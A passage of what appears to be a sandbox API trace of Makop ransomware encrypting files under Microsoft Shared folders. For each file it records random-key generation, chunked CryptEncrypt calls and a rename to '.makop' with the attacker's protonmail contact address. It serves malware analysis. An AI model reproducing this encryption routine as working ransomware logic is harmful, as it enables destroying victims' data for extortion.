lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.909] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x44780, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x44780, lpOverlapped=0x0) returned 1 [0085.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44780, dwBufLen=0x44780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44780) returned 1 [0085.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x44780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x44780, lpOverlapped=0x0) returned 1 [0085.924] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.924] SetEndOfFile (hFile=0xf0) returned 1 [0085.931] GetProcessHeap () returned 0x48a0000 [0085.931] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.931] GetProcessHeap () returned 0x48a0000 [0085.931] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.931] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.933] CloseHandle (hObject=0xf0) returned 1 [0085.933] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0085.933] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0085.933] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0085.933] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned 51 [0085.933] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*") returned 55 [0085.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0085.934] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.934] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0085.934] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0085.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.936] GetProcessHeap () returned 0x48a0000 [0085.936] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.936] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.937] GetProcessHeap () returned 0x48a0000 [0085.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.942] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.942] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.942] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.942] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x100000, lpOverlapped=0x0) returned 1 [0085.971] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000) returned 1 [0085.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x100000, lpOverlapped=0x0) returned 1 [0085.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1332c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.990] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x33200, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x33200, lpOverlapped=0x0) returned 1 [0085.992] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x33200, dwBufLen=0x33200 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x33200) returned 1 [0085.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x33200, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x33200, lpOverlapped=0x0) returned 1 [0085.996] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1332c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.996] SetEndOfFile (hFile=0xf0) returned 1 [0086.006] GetProcessHeap () returned 0x48a0000 [0086.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0086.006] GetProcessHeap () returned 0x48a0000 [0086.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.006] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 107 [0086.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.007] CloseHandle (hObject=0xf0) returned 1 [0086.007] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0086.007] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0086.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0086.008] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=1831424) returned 1 [0086.008] GetProcessHeap () returned 0x48a0000 [0086.008] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.008] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.009] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0086.009] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.009] GetProcessHeap () returned 0x48a0000 [0086.009] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.009] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0086.009] CryptDestroyKey (hKey=0x48c7128) returned 1 [0086.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0086.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0086.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0086.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0086.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0086.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0086.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0086.022] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0086.022] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0086.035] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0086.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0086.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0086.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0086.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0086.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0086.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0086.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0086.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0086.056] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0086.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0086.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0086.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0086.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0086.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.068] SetEndOfFile (hFile=0xf0) returned 1 [0086.075] GetProcessHeap () returned 0x48a0000 [0086.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.075] GetProcessHeap () returned 0x48a0000 [0086.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.075] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0086.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.079] CloseHandle (hObject=0xf0) returned 1 [0086.080] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0086.080] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0086.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0086.081] GetProcessHeap () returned 0x48a0000 [0086.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.082] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0086.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0086.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.082] GetProcessHeap () returned 0x48a0000 [0086.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0086.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0086.082] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0086.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0086.085] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 